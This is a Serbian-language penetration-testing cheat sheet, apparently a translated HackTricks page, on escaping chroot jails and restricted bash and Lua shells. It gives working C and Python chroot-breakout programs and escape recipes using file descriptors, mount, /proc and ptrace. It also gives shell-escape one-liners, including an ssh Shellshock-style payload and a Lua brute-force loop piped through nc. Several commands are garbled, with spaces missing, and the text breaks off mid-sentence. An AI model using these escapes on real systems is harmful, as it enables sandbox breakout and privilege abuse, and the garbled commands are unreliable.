Sa vikija: Mehanizam chroot-a nije namenjen za odbranu od namernog menjanja od strane privilegovanih (root) korisnika. Na većini sistema, chroot konteksti se ne stapaju pravilno i programi u chroot-u sa dovoljnim privilegijama mogu izvršiti drugi chroot da izađu.
Obično to znači da da biste pobegli morate biti root unutar chroot-a.
Alatchw00t je napravljen da zloupotrebi sledeće scenarije i pobegne iz chroot-a.
Root + Trenutni radni direktorijum
Ako ste root unutar chroot-a možete pobeci kreiranjem još jednog chroot-a. To je zato što 2 chroot-a ne mogu koegzistirati (u Linux-u), pa ako kreirate folder i zatim napravite novi chroot na tom novom folderu bivajući izvan njega, sada ćete biti izvan novog chroot-a i stoga ćete biti u FS-u.
Ovo se dešava jer obično chroot NE POMERA vaš trenutni radni direktorijum na naznačeni, tako da možete kreirati chroot ali biti izvan njega.
Obično nećete pronaći binarni fajl chroot unutar chroot zatvora, ali možete kompajlirati, otpremiti i izvršiti binarni fajl:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Ovo je slično prethodnom slučaju, ali u ovom slučaju napadač čuva file deskriptor trenutnog direktorijuma i zatim kreira chroot u novom folderu. Na kraju, pošto ima pristup tom FDizvan chroot-a, pristupa mu i izlazi.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD može biti prosleđen preko Unix Domain Sockets, tako da:
* Kreirajte child proces (fork)
* Kreirajte UDS tako da roditelj i dete mogu komunicirati
* Pokrenite chroot u child procesu u drugom folderu
* U roditeljskom procesu, kreirajte FD foldera koji je van novog chroot-a novog child procesa
* Prosledite tom FD detetu koristeći UDS
* Dete promeni direktorijum na taj FD, i zbog toga što je van svog chroot-a, pobegne iz zatvora
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montiranje root uređaja (/) u direktorijum unutar chroot-a
* Chrootovanje u taj direktorijum
Ovo je moguće u Linux-u
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montirajte procfs u direktorijum unutar chroot-a (ako već nije)
* Potražite pid koji ima drugačiji root/cwd unos, kao što je: /proc/1/root
* Chrootujte se u taj unos
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kreirajte Fork (child proc) i chrootujte se u drugi folder dublje u FS i promenite direktorijum na njega
* Iz roditeljskog procesa, premestite folder gde je child proces u folder pre chroot-a dece
* Ovaj dečiji proces će se naći van chroot-a
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Ranije su korisnici mogli da debaguju svoje procese iz procesa samog sebe... ali ovo više nije moguće podrazumevano
* U svakom slučaju, ako je moguće, možete ptrace-ovati proces i izvršiti shellcode unutar njega ([vidi ovaj primer](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Zatvori
### Enumeracija
Dobijanje informacija o zatvoru:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Izmena PATH
Proverite da li možete da izmenite PATH env promenljivu
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Korišćenje vim-a
:setshell=/bin/sh:shell
Napravite skriptu
Proverite da li možete napraviti izvršnu datoteku sa /bin/bash kao sadržajem
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Dobijanje bash-a putem SSH-a
Ako pristupate putem ssh-a, možete koristiti ovu prevaru da biste izvršili bash shell:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Napomena da svaki put kada izvršite prethodni jednolinijski niz u različitom lua okruženju redosled funkcija se menja. Stoga, ako treba da izvršite određenu funkciju, možete izvršiti napad grubom silom učitavanjem različitih lua okruženja i pozivanjem prve funkcije biblioteke.
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) doprint(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Dobijanje interaktivne lua ljuske: Ako se nalazite unutar ograničene lua ljuske, možete dobiti novu lua ljusku (i nadamo se neograničenu) pozivom: